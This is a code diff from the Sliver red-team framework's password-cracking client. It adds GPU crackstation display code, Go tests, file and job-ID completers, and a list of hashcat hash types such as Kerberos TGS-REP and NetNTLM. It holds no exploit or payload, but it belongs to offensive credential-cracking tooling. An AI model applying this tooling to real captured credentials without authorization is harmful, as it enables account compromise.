tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", metal.MemoryFree, metal.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", metal.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", metal.Processors)})
|
||||
}
|
||||
}
|
||||
if 0 < len(cracker.OpenCL) {
|
||||
for _, openCL := range cracker.OpenCL {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("OpenCL Device"), console.StyleBoldGreen.Render(fmt.Sprintf("%s (%s)", openCL.Name, openCL.Version))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Memory"), fmt.Sprintf("%s free of %s", openCL.MemoryFree, openCL.MemoryTotal)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Clock"), fmt.Sprintf("%d", openCL.Clock)})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Processors"), fmt.Sprintf("%d", openCL.Processors)})
|
||||
}
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient, showBenchmarks bool, backendInfoLevel uint32) {
|
||||
con.Printf("%s\n", renderCracker(cracker, index, settings.GetTableStyle(con), backendInfoLevel))
|
||||
if showBenchmarks {
|
||||
con.Println()
|
||||
printBenchmarks(cracker, con)
|
||||
}
|
||||
}
|
||||
|
||||
func renderCracker(cracker *clientpb.Crackstation, index int, style table.Style, backendInfoLevel uint32) string {
|
||||
if cracker == nil {
|
||||
return ""
|
||||
}
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(style)
|
||||
tw.SetTitle(console.StyleBoldOrange.Render(fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, safeCrackCell(cracker.Name), safeCrackCell(cracker.OperatorName))) + "\n")
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Operating System"), fmt.Sprintf("%s/%s", valueOrDash(cracker.GOOS), valueOrDash(cracker.GOARCH))})
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Hashcat Version"), valueOrDash(cracker.HashcatVersion)})
|
||||
if backendInfoLevel >= 2 {
|
||||
appendCrackstationDetailRows(tw, cracker)
|
||||
}
|
||||
for _, cuda := range cracker.CUDA {
|
||||
appendCUDABackendRows(tw, cuda, backendInfoLevel)
|
||||
}
|
||||
for _, hip := range cracker.HIP {
|
||||
appendHIPBackendRows(tw, hip, backendInfoLevel)
|
||||
}
|
||||
for _, metal := range cracker.Metal {
|
||||
appendMetalBackendRows(tw, metal, backendInfoLevel)
|
||||
}
|
||||
for _, openCL := range cracker.OpenCL {
|
||||
appendOpenCLBackendRows(tw, openCL, backendInfoLevel)
|
||||
}
|
||||
if !hasReportedBackendDevice(cracker) {
|
||||
tw.AppendSeparator()
|
||||
tw.AppendRow(table.Row{console.StyleBold.Render("Backend Devices"), "No backend devices reported"})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func formatCUDADevice(device *clientpb.CUDABackendInfo) string {
|
||||
return formatBackendDevice(device.GetName(), device.GetCUDAVersion(), device.GetVersion())
|
||||
}
|
||||
|
||||
func formatHIPDevice(device *clientpb.HIPBackendInfo) string {
|
||||
return formatBackendDevice(device.GetName(), device.GetHIPVersion(), device.GetVersion())
|
||||
}
|
||||
|
||||
func formatMetalDevice(device *clientpb.MetalBackendInfo) string {
|
||||
return formatBackendDevice(device.GetName(), device.GetMetalVersion(), device.GetVersion())
|
||||
}
|
||||
|
||||
func formatOpenCLDevice(device *clientpb.OpenCLBackendInfo) string {
|
||||
return formatBackendDevice(device.GetName(), device.GetOpenCLVersion(), device.GetVersion())
|
||||
}
|
||||
|
||||
func formatBackendDevice(name string, versions ...string) string {
|
||||
for _, version := range versions {
|
||||
if version != "" {
|
||||
return fmt.Sprintf("%s (%s)", name, version)
|
||||
}
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
func TestFormatBackendDevice(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
device string
|
||||
versions []string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "specific runtime version wins",
|
||||
device: "Apple M5",
|
||||
versions: []string{"Metal 410.7", "legacy-generic"},
|
||||
want: "Apple M5 (Metal 410.7)",
|
||||
},
|
||||
{
|
||||
name: "legacy generic fallback",
|
||||
device: "NVIDIA GPU",
|
||||
versions: []string{"", "13.0"},
|
||||
want: "NVIDIA GPU (13.0)",
|
||||
},
|
||||
{
|
||||
name: "no empty version suffix",
|
||||
device: "AMD GPU",
|
||||
versions: []string{"", ""},
|
||||
want: "AMD GPU",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
if got := formatBackendDevice(test.device, test.versions...); got != test.want {
|
||||
t.Fatalf("formatBackendDevice() = %q, want %q", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBackendSpecificDisplayVersions(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
got string
|
||||
want string
|
||||
}{
|
||||
{
|
||||
name: "CUDA version",
|
||||
got: formatCUDADevice(&clientpb.CUDABackendInfo{
|
||||
Name: "NVIDIA GPU", CUDAVersion: "13.0", Version: "legacy",
|
||||
}),
|
||||
want: "NVIDIA GPU (13.0)",
|
||||
},
|
||||
{
|
||||
name: "HIP version",
|
||||
got: formatHIPDevice(&clientpb.HIPBackendInfo{
|
||||
Name: "AMD GPU", HIPVersion: "7.0.51831", Version: "legacy",
|
||||
}),
|
||||
want: "AMD GPU (7.0.51831)",
|
||||
},
|
||||
{
|
||||
name: "Metal version",
|
||||
got: formatMetalDevice(&clientpb.MetalBackendInfo{
|
||||
Name: "Apple M5", MetalVersion: "Metal 410.7", Version: "legacy",
|
||||
}),
|
||||
want: "Apple M5 (Metal 410.7)",
|
||||
},
|
||||
{
|
||||
name: "legacy CUDA fallback",
|
||||
got: formatCUDADevice(&clientpb.CUDABackendInfo{
|
||||
Name: "NVIDIA GPU", Version: "12.9",
|
||||
}),
|
||||
want: "NVIDIA GPU (12.9)",
|
||||
},
|
||||
{
|
||||
name: "OpenCL version",
|
||||
got: formatOpenCLDevice(&clientpb.OpenCLBackendInfo{
|
||||
Name: "Portable GPU", OpenCLVersion: "OpenCL 3.0", Version: "legacy",
|
||||
}),
|
||||
want: "Portable GPU (OpenCL 3.0)",
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
if test.got != test.want {
|
||||
t.Fatalf("backend display = %q, want %q", test.got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackerBackendInfoLevelTwo(t *testing.T) {
|
||||
zero := uint32(0)
|
||||
falseValue := false
|
||||
station := &clientpb.Crackstation{
|
||||
Name: "station",
|
||||
OperatorName: "operator",
|
||||
HostUUID: "host-uuid",
|
||||
Version: "station-v1",
|
||||
GOOS: "linux",
|
||||
GOARCH: "amd64",
|
||||
HashcatVersion: "v7.1.2",
|
||||
CUDA: []*clientpb.CUDABackendInfo{{
|
||||
Name: "CUDA GPU", CUDAVersion: "CUDA 13", Version: "device-v1", Type: "GPU",
|
||||
Vendor: "NVIDIA", VendorID: 4318, BackendDeviceID: 1, BackendDeviceAlias: &zero,
|
||||
PreferredThreadSize: &zero, MemoryUnified: &falseValue, LocalMemory: "64 KB",
|
||||
CacheSize: "8 MB", PCIAddress: "01:00.0", MemoryFree: "8 GB", MemoryTotal: "12 GB",
|
||||
}},
|
||||
HIP: []*clientpb.HIPBackendInfo{{Name: "HIP GPU", HIPVersion: "HIP 7", BackendDeviceID: 2}},
|
||||
Metal: []*clientpb.MetalBackendInfo{{
|
||||
Name: "Metal GPU", MetalVersion: "Metal 410", BackendDeviceID: 3,
|
||||
RegistryID: &zero, GPUHeadless: &falseValue, GPULowPower: &falseValue, GPURemovable: &falseValue,
|
||||
PhysicalLocation: "built-in", MaxTXRate: "100", MemoryAllocPerBlock: "4 GB",
|
||||
}},
|
||||
OpenCL: []*clientpb.OpenCLBackendInfo{{
|
||||
Name: "OpenCL GPU", OpenCLVersion: "OpenCL 3.0", OpenCLDriverVersion: "driver-v1",
|
||||
BackendDeviceID: 4, PlatformVendor: "Portable", PlatformName: "Platform",
|
||||
PlatformVersion: "platform-v1", MemoryAllocPerBlock: "2 GB",
|
||||
}},
|
||||
}
|
||||
|
||||
output := renderCracker(station, 0, settings.SliverDefault, 2)
|
||||
for _, expected := range []string{
|
||||
"station", "operator", "host-uuid", "station-v1", "linux/amd64", "v7.1.2",
|
||||
"CUDA GPU", "HIP GPU", "Metal GPU", "OpenCL GPU", "OpenCL 3.0", "driver-v1",
|
||||
"Backend Device ID", "Backend Device Alias", "Preferred Thread Size", "Unified Memory",
|
||||
"NVIDIA", "4318", "device-v1", "64 KB", "8 MB", "01:00.0",
|
||||
"Registry ID", "Headless", "Low Power", "Removable", "built-in", "100",
|
||||
"OpenCL Platform ID", "Portable", "Platform", "platform-v1", "2 GB",
|
||||
} {
|
||||
if !strings.Contains(output, expected) {
|
||||
t.Errorf("level-2 backend info does not contain %q:\n%s", expected, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackerBackendInfoLevelOneOmitsDetails(t *testing.T) {
|
||||
station := &clientpb.Crackstation{
|
||||
Name: "station",
|
||||
CUDA: []*clientpb.CUDABackendInfo{{
|
||||
Name: "GPU", BackendDeviceID: 7, PCIAddress: "01:00.0",
|
||||
}},
|
||||
}
|
||||
output := renderCracker(station, 0, settings.SliverDefault, 1)
|
||||
for _, unexpected := range []string{"Host UUID", "Backend Device ID", "PCI Address"} {
|
||||
if strings.Contains(output, unexpected) {
|
||||
t.Errorf("level-1 backend info unexpectedly contains %q:\n%s", unexpected, output)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackerPreservesOptionalPresence(t *testing.T) {
|
||||
zero := uint32(0)
|
||||
falseValue := false
|
||||
withPresence := renderCracker(&clientpb.Crackstation{
|
||||
CUDA: []*clientpb.CUDABackendInfo{{
|
||||
BackendDeviceAlias: &zero,
|
||||
MemoryUnified: &falseValue,
|
||||
}},
|
||||
}, 0, settings.SliverDefault, 2)
|
||||
if !strings.Contains(withPresence, "Backend Device Alias") || !strings.Contains(withPresence, "Unified Memory") {
|
||||
t.Fatalf("present zero/false optional fields were omitted:\n%s", withPresence)
|
||||
}
|
||||
|
||||
withoutPresence := renderCracker(&clientpb.Crackstation{
|
||||
CUDA: []*clientpb.CUDABackendInfo{{}},
|
||||
}, 0, settings.SliverDefault, 2)
|
||||
if strings.Contains(withoutPresence, "Backend Device Alias") || strings.Contains(withoutPresence, "Unified Memory") {
|
||||
t.Fatalf("absent optional fields were rendered:\n%s", withoutPresence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRenderCrackerReportsNoBackendDevices(t *testing.T) {
|
||||
output := renderCracker(&clientpb.Crackstation{
|
||||
Name: "station",
|
||||
CUDA: []*clientpb.CUDABackendInfo{nil},
|
||||
}, 0, settings.SliverDefault, 1)
|
||||
if !strings.Contains(output, "No backend devices reported") {
|
||||
t.Fatalf("missing no-device message:\n%s", output)
|
||||
}
|
||||
}
|
||||
@@ -3,13 +3,95 @@ package crack
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
type crackJobCompletionEntry struct {
|
||||
id string
|
||||
description string
|
||||
}
|
||||
|
||||
// CrackJobIDCompleter completes durable crack job IDs.
|
||||
//
|
||||
//nolint:revive // Keep the established exported completer name for compatibility.
|
||||
func CrackJobIDCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
|
||||
entries, err := crackJobCompletionEntries(con)
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack jobs: %s", err.Error())
|
||||
}
|
||||
|
||||
values := make([]string, 0, len(entries)*2)
|
||||
for _, entry := range entries {
|
||||
values = append(values, entry.id, entry.description)
|
||||
}
|
||||
return carapace.ActionValuesDescribed(values...).Tag("crack jobs")
|
||||
})
|
||||
}
|
||||
|
||||
func registerCrackJobIDCompletion(cmd *cobra.Command, con *console.SliverClient) {
|
||||
if cmd == nil || cmd.ValidArgsFunction != nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
if len(args) > 0 {
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
|
||||
entries, err := crackJobCompletionEntries(con)
|
||||
if err != nil {
|
||||
return nil, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
values := make([]string, 0, len(entries))
|
||||
for _, entry := range entries {
|
||||
if strings.HasPrefix(entry.id, toComplete) {
|
||||
values = append(values, fmt.Sprintf("%s\t%s", entry.id, entry.description))
|
||||
}
|
||||
}
|
||||
return values, cobra.ShellCompDirectiveNoFileComp
|
||||
}
|
||||
}
|
||||
|
||||
func crackJobCompletionEntries(con *console.SliverClient) ([]crackJobCompletionEntry, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, nil
|
||||
}
|
||||
jobs, err := con.Rpc.CrackJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if jobs == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
entries := make([]crackJobCompletionEntry, 0, len(jobs.GetJobs()))
|
||||
for _, job := range jobs.GetJobs() {
|
||||
if job == nil || strings.TrimSpace(job.GetID()) == "" {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, crackJobCompletionEntry{
|
||||
id: job.GetID(),
|
||||
description: fmt.Sprintf(
|
||||
"%s, created %s, keyspace %s, %d task(s), %d result(s)",
|
||||
safeCrackCell(job.GetStatus().String()),
|
||||
formatCrackTime(job.GetCreatedAt()),
|
||||
valueOrDash(job.GetKeyspace()),
|
||||
len(job.GetTasks()),
|
||||
job.GetResultCount(),
|
||||
),
|
||||
})
|
||||
}
|
||||
return entries, nil
|
||||
}
|
||||
|
||||
func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
@@ -35,14 +117,14 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
|
||||
|
||||
func CrackWordlistCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
for _, file := range wordlists.Files {
|
||||
if file.Type != clientpb.CrackFileType_WORDLIST {
|
||||
continue
|
||||
}
|
||||
@@ -59,14 +141,14 @@ func CrackWordlistCompleter(con *console.SliverClient) carapace.Action {
|
||||
|
||||
func CrackRulesCompleter(con *console.SliverClient) carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
|
||||
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
|
||||
if err != nil {
|
||||
return carapace.ActionMessage("failed to fetch crack files: %s", err.Error())
|
||||
}
|
||||
|
||||
results := make([]string, 0)
|
||||
|
||||
for _, file := range hcstat2.Files {
|
||||
for _, file := range rules.Files {
|
||||
if file.Type != clientpb.CrackFileType_RULES {
|
||||
continue
|
||||
}
|
||||
@@ -77,7 +159,7 @@ func CrackRulesCompleter(con *console.SliverClient) carapace.Action {
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
return carapace.ActionValuesDescribed(results...).Tag("wordlists")
|
||||
return carapace.ActionValuesDescribed(results...).Tag("rules")
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
package crack
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
)
|
||||
|
||||
type crackFilesListCapture struct {
|
||||
rpcpb.SliverRPCClient
|
||||
requests []clientpb.CrackFileType
|
||||
}
|
||||
|
||||
type crackJobsListCapture struct {
|
||||
rpcpb.SliverRPCClient
|
||||
jobs *clientpb.CrackJobs
|
||||
err error
|
||||
calls int
|
||||
}
|
||||
|
||||
func (capture *crackJobsListCapture) CrackJobs(_ context.Context, _ *commonpb.Empty, _ ...grpc.CallOption) (*clientpb.CrackJobs, error) {
|
||||
capture.calls++
|
||||
return capture.jobs, capture.err
|
||||
}
|
||||
|
||||
func (capture *crackFilesListCapture) CrackFilesList(_ context.Context, request *clientpb.CrackFile, _ ...grpc.CallOption) (*clientpb.CrackFiles, error) {
|
||||
capture.requests = append(capture.requests, request.GetType())
|
||||
return &clientpb.CrackFiles{}, nil
|
||||
}
|
||||
|
||||
func TestCrackFileCompletersRequestTheirOwnFileType(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
want clientpb.CrackFileType
|
||||
action func(*console.SliverClient) carapace.Action
|
||||
}{
|
||||
{name: "wordlists", want: clientpb.CrackFileType_WORDLIST, action: CrackWordlistCompleter},
|
||||
{name: "rules", want: clientpb.CrackFileType_RULES, action: CrackRulesCompleter},
|
||||
{name: "hcstat2", want: clientpb.CrackFileType_MARKOV_HCSTAT2, action: CrackHcstat2Completer},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
capture := &crackFilesListCapture{}
|
||||
client := &console.SliverClient{Rpc: capture}
|
||||
_ = test.action(client).Invoke(carapace.NewContext(""))
|
||||
if len(capture.requests) != 1 || capture.requests[0] != test.want {
|
||||
t.Fatalf("completion requests = %v, want [%s]", capture.requests, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackJobCompleterRequestsDurableJobs(t *testing.T) {
|
||||
capture := &crackJobsListCapture{jobs: &clientpb.CrackJobs{Jobs: []*clientpb.CrackJob{{
|
||||
ID: "12345678-1234-1234-1234-123456789abc",
|
||||
Status: clientpb.CrackJobStatus_IN_PROGRESS,
|
||||
CreatedAt: "2026-09-11T12:00:00Z",
|
||||
Keyspace: "1000",
|
||||
Tasks: []*clientpb.CrackTask{{ID: "task-id"}},
|
||||
ResultCount: 2,
|
||||
}}}}
|
||||
client := &console.SliverClient{Rpc: capture}
|
||||
_ = CrackJobIDCompleter(client).Invoke(carapace.NewContext(""))
|
||||
if capture.calls != 1 {
|
||||
t.Fatalf("CrackJobs calls = %d, want 1", capture.calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackJobCobraCompletionUsesFullIDsAndFiltersPrefix(t *testing.T) {
|
||||
firstID := "12345678-1234-1234-1234-123456789abc"
|
||||
secondID := "abcdefab-cdef-cdef-cdef-abcdefabcdef"
|
||||
capture := &crackJobsListCapture{jobs: &clientpb.CrackJobs{Jobs: []*clientpb.CrackJob{
|
||||
{
|
||||
ID: firstID,
|
||||
Status: clientpb.CrackJobStatus_IN_PROGRESS,
|
||||
CreatedAt: "2026-09-11T12:00:00Z",
|
||||
Keyspace: "1000",
|
||||
Tasks: []*clientpb.CrackTask{{ID: "task-id"}},
|
||||
ResultCount: 2,
|
||||
},
|
||||
{ID: secondID, Status: clientpb.CrackJobStatus_COMPLETED},
|
||||
nil,
|
||||
{},
|
||||
}}}
|
||||
client := &console.SliverClient{Rpc: capture}
|
||||
root := Commands(client)[0]
|
||||
job, _, err := root.Find([]string{"job"})
|
||||
if err != nil {
|
||||
t.Fatalf("find crack job: %v", err)
|
||||
}
|
||||
|
||||
values, directive := job.ValidArgsFunction(job, nil, "1234")
|
||||
if directive != cobra.ShellCompDirectiveNoFileComp {
|
||||
t.Fatalf("completion directive = %v, want no-file-completion", directive)
|
||||
}
|
||||
if len(values) != 1 {
|
||||
t.Fatalf("completion values = %#v, want one filtered result", values)
|
||||
}
|
||||
if !strings.HasPrefix(values[0], firstID+"\t") {
|
||||
t.Fatalf("completion = %q, want full ID %q", values[0], firstID)
|
||||
}
|
||||
for _, want := range []string{"IN_PROGRESS", "2026-09-11T12:00:00Z", "keyspace 1000", "1 task(s)", "2 result(s)"} {
|
||||
if !strings.Contains(values[0], want) {
|
||||
t.Errorf("completion %q does not contain %q", values[0], want)
|
||||
}
|
||||
}
|
||||
|
||||
values, directive = job.ValidArgsFunction(job, []string{firstID}, "")
|
||||
if len(values) != 0 || directive != cobra.ShellCompDirectiveNoFileComp {
|
||||
t.Fatalf("second positional completion = %#v, %v", values, directive)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCrackJobCompletionHandlesRPCFailuresAndNilData(t *testing.T) {
|
||||
for _, test := range []struct {
|
||||
name string
|
||||
capture *crackJobsListCapture
|
||||
}{
|
||||
{name: "rpc error", capture: &crackJobsListCapture{err: errors.New("rpc failed")}},
|
||||
{name: "nil response", capture: &crackJobsListCapture{}},
|
||||
} {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
client := &console.SliverClient{Rpc: test.capture}
|
||||
root := Commands(client)[0]
|
||||
job, _, err := root.Find([]string{"job"})
|
||||
if err != nil {
|
||||
t.Fatalf("find crack job: %v", err)
|
||||
}
|
||||
values, directive := job.ValidArgsFunction(job, nil, "")
|
||||
if len(values) != 0 || directive != cobra.ShellCompDirectiveNoFileComp {
|
||||
t.Fatalf("completion = %#v, %v", values, directive)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
+598
-139
@@ -1,143 +1,602 @@
|
||||
package creds
|
||||
|
||||
// List of all available hash-types, for completions.
|
||||
// Unfortunately this list has to be maintained manually,
|
||||
// until someone devises a way to do so automatically.
|
||||
// hashTypes maps protobuf enum identifiers to the exact human-readable
|
||||
// names reported by the bundled Hashcat v7.1.2-armory.1 modules at commit
|
||||
// deadd52de22e2753e9caaff6d1b92e5a22a35626.
|
||||
var hashTypes = map[string]string{
|
||||
"MD5": "MD5", // Enum 0 in proto file.
|
||||
|
||||
"MD4": "MD4",
|
||||
"SHA1": "SHA1",
|
||||
"SHA2_224": "SHA2-224",
|
||||
"SHA2_256": "SHA2-256",
|
||||
"SHA2_384": "SHA2-384",
|
||||
"SHA2_512": "SHA2-512",
|
||||
"SHA3_224": "SHA3-224",
|
||||
"SHA3_256": "SHA3-256",
|
||||
"SHA3_384": "SHA3-384",
|
||||
"SHA3_512": "SHA3-512",
|
||||
"RIPEMD_160": "RIPEMD-160",
|
||||
"BLAKE2B_256": "BLAKE2b-512",
|
||||
"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
"GOST_R_34_11_94": "GOST R 34.11-94",
|
||||
"GPG": "GPG (AES-128/AES-256 (SHA-1($pass)))",
|
||||
"HALF_MD5": "Half MD5",
|
||||
"KECCAK_224": "Keccak-224",
|
||||
"KECCAK_256": "Keccak-256",
|
||||
"KECCAK_384": "Keccak-384",
|
||||
"KECCAK_512": "Keccak-512",
|
||||
"WHIRLPOOL": "Whirlpool",
|
||||
"SIPHASH": "SipHash",
|
||||
"MD5_UTF16LE": "md5(utf16le($pass))",
|
||||
"SHA1_UTF16LE": "sha1(utf16le($pass))",
|
||||
"SHA256_UTF16LE": "sha256(utf16le($pass))",
|
||||
"SHA384_UTF16LE": "sha384(utf16le($pass))",
|
||||
"SHA512_UTF16LE": "sha512(utf16le($pass))",
|
||||
"BLAKE2B_512_PW_SALT": "BLAKE2b-512($pass.$salt)",
|
||||
"BLAKE2B_512_SALT_PW": "BLAKE2b-512($salt.$pass)",
|
||||
"MD5_PW_SALT": "md5($pass.$salt)",
|
||||
"MD5_SALT_PW": "md5($salt.$pass)",
|
||||
"MD5_SALT_PW_SALT": "md5($salt.$pass.$salt)",
|
||||
"MD5_SALT_MD5_PW": "md5($salt.md5($pass))",
|
||||
|
||||
// ... TODO fill in the rest ...,
|
||||
|
||||
"CRC32": "CRC32",
|
||||
"CRC32C": "CRC32B",
|
||||
"CRC64Jones": "CRC64-Jones",
|
||||
"JAVA_OBJECT": "Java object",
|
||||
"MURMUR": "MurmurHash",
|
||||
"MURMUR3": "MurmurHash3",
|
||||
"THREE_DES": "3DES (PT = $salt, key = $pass)",
|
||||
"DES": "DES (PT = $salt, key = $pass)",
|
||||
"AES_128_ECB": "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_192_ECB": "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"AES_256_ECB": "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
"CHA_CHA_20": "ChaCha20",
|
||||
"LINUX_KERNEL_CRYPTO_API_24": "Linux Kernel Crypto API (2.4)",
|
||||
"SKIP_32": "Skip32 (PT = $salt, key = $pass)",
|
||||
"PBKDF2_HMAC_MD5": "PBKDF2-HMAC-MD5",
|
||||
"PBKDF2_HMAC_SHA1": "PBKDF2-HMAC-SHA1",
|
||||
"PBKDF2_HMAC_SHA256": "PBKDF2-HMAC-SHA256",
|
||||
"PBKDF2_HMAC_SHA512": "PBKDF2-HMAC-SHA512",
|
||||
"SCRYPT": "scrypt",
|
||||
"PHPASS": "phpass",
|
||||
"TACACS_PLUS": "TACACS+",
|
||||
"SIP_DIGEST": "SIP digest authentication (MD5)",
|
||||
"IKE_MD5": "IKE-PSK MD5",
|
||||
"IKE_SHA1": "IKE-PSK SHA1",
|
||||
"SNMP_V3_HMAC_MD5_96": "SNMPv3 HMAC-MD5-96",
|
||||
"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA1_96": "SNMPv3 HMAC-SHA1-96",
|
||||
"SNMP_V3_HMAC_SHA224_128": "SNMPv3 HMAC-SHA224-128",
|
||||
"SNMP_V3_HMAC_SHA256_192": "SNMPv3 HMAC-SHA256-192",
|
||||
"SNMP_V3_HMAC_SHA384_256": "SNMPv3 HMAC-SHA384-256",
|
||||
"SNMP_V3_HMAC_SHA512_384": "SNMPv3 HMAC-SHA512-384",
|
||||
"WPA_EAPOL_PBKDF2": "WPA-EAPOL-PBKDF2",
|
||||
"WPA_EAPOL_PMK": "WPA-EAPOL-PMK",
|
||||
"WPA_PBKDF2_PMKID_EAPOL": "WPA-PBKDF2-PMKID+EAPOL",
|
||||
"WPA_PMK_PMKID_EAPOL": "WPA-PMK-PMKID+EAPOL",
|
||||
"WPA_PMKID_PBKDF2": "WPA-PMKID-PBKDF2",
|
||||
"WPA_PMKID_PMK": "WPA-PMKID-PMK",
|
||||
"IPMI2_PAKP_HMAC_SHA1": "IPMI2 RAKP HMAC-SHA1",
|
||||
"CRAM_MD5": "CRAM-MD5",
|
||||
"JWT": "JWT (JSON Web Token)",
|
||||
"RADMIN_3": "Radmin3",
|
||||
"KERBEROS_17_TGS_REP": "Kerberos 5, etype 17, TGS-REP",
|
||||
"KERBEROS_17_PREAUTH": "Kerberos 5, etype 17, Pre-Auth",
|
||||
"KERBEROS_17_DB": "Kerberos 5, etype 17, DB",
|
||||
"KERBEROS_18_TGS_REP": "Kerberos 5, etype 18, TGS-REP",
|
||||
"KERBEROS_18_PREAUTH": "Kerberos 5, etype 18, Pre-Auth",
|
||||
"KERBEROS_18_DB": "Kerberos 5, etype 18, DB",
|
||||
"KERBEROS_23_SA_REQ_PREAUTH": "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
"KERBEROS_23_TGS_REP": "Kerberos 5, etype 23, TGS-REP",
|
||||
"KERBEROS_23_AS_REP": "Kerberos 5, etype 23, AS-REP",
|
||||
"NET_NTLM_V1": "NetNTLMv1 / NetNTLMv1+ESS",
|
